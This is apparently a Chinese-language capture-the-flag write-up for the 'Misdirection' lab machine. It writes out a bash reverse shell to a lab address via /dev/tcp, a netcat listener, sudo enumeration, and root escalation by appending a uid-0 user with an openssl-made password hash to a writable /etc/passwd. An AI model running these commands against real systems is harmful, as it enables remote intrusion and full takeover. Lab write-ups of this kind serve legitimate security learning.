Misdirection 打靶

前言

sudo 提权，追加passwd提权

信息收集

一样老三样，我就不写了，主要是发现了8080端口有个debug shell

端口渗透获得立足点

bash -c "/bin/bash -i >& /dev/tcp/192.168.199.129/1234 0>&1"
# sometimes replace bash to /bin/bash
-c # command
-i # interactive
>& # 0 stdin, 1 stdout, 2 stderr, equal to &>, special for bash

sudo nc -lvnp 1234
-l # listen
-v # verbose
-n # numeric ip, no DNS
-p # port

uname -a

cat /etc/crontab

sudo -l

提权

这部分主要是sudoers提权 和 追加passwd记录新用户提权
先看sudo -l的结果

www-data@misdirection:/var/www/html/debug$ sudo -l
sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on localhost:
    (brexit) NOPASSWD: /bin/bash

(brexit) NOPASSWD: /bin/bash说明用户可以在 brexit 账户权限下运行 /bin/bash且不需要输入密码

dkpg -l | grep python
# 其实这里dkpg应该不在环境变量里面 /usr/bin/dpkg 即可

python -c "import pty;pty.spawn('/bin/bash')"
pty # pseudo-tty (teletype)
spawn # 生成子进程

ls -liah
-i # inode
-h # human readable

cat .viminfo

# 发现操作过passwd，那说明可以处理passwd
ls -liah /etc/passwd
# 153253 -rwxrwxr-- 1 root brexit 1.6K Jun  1  2019 /etc/passwd

openssl passwd -1 123456
# $1$LbPvSddE$UttZGh6dQdV2X20ji2vbV1
$1 MD5
$LbPvSddE salt
$UttZGh6dQdV2X20ji2vbV1 hash


cat /etc/passwd | grep root
# root:x:0:0:root:/root:/bin/bash

# 把用户名替换为自己的，后面的权限和属组保持和root一样
onez3r0:$1$LbPvSddE$UttZGh6dQdV2X20ji2vbV1:0:0:root:/root:/bin/bash

vim /etc/passwd

su onez3r0
# 提权为root！

不得不说诡异的终端啊，还得是心中有vim自然成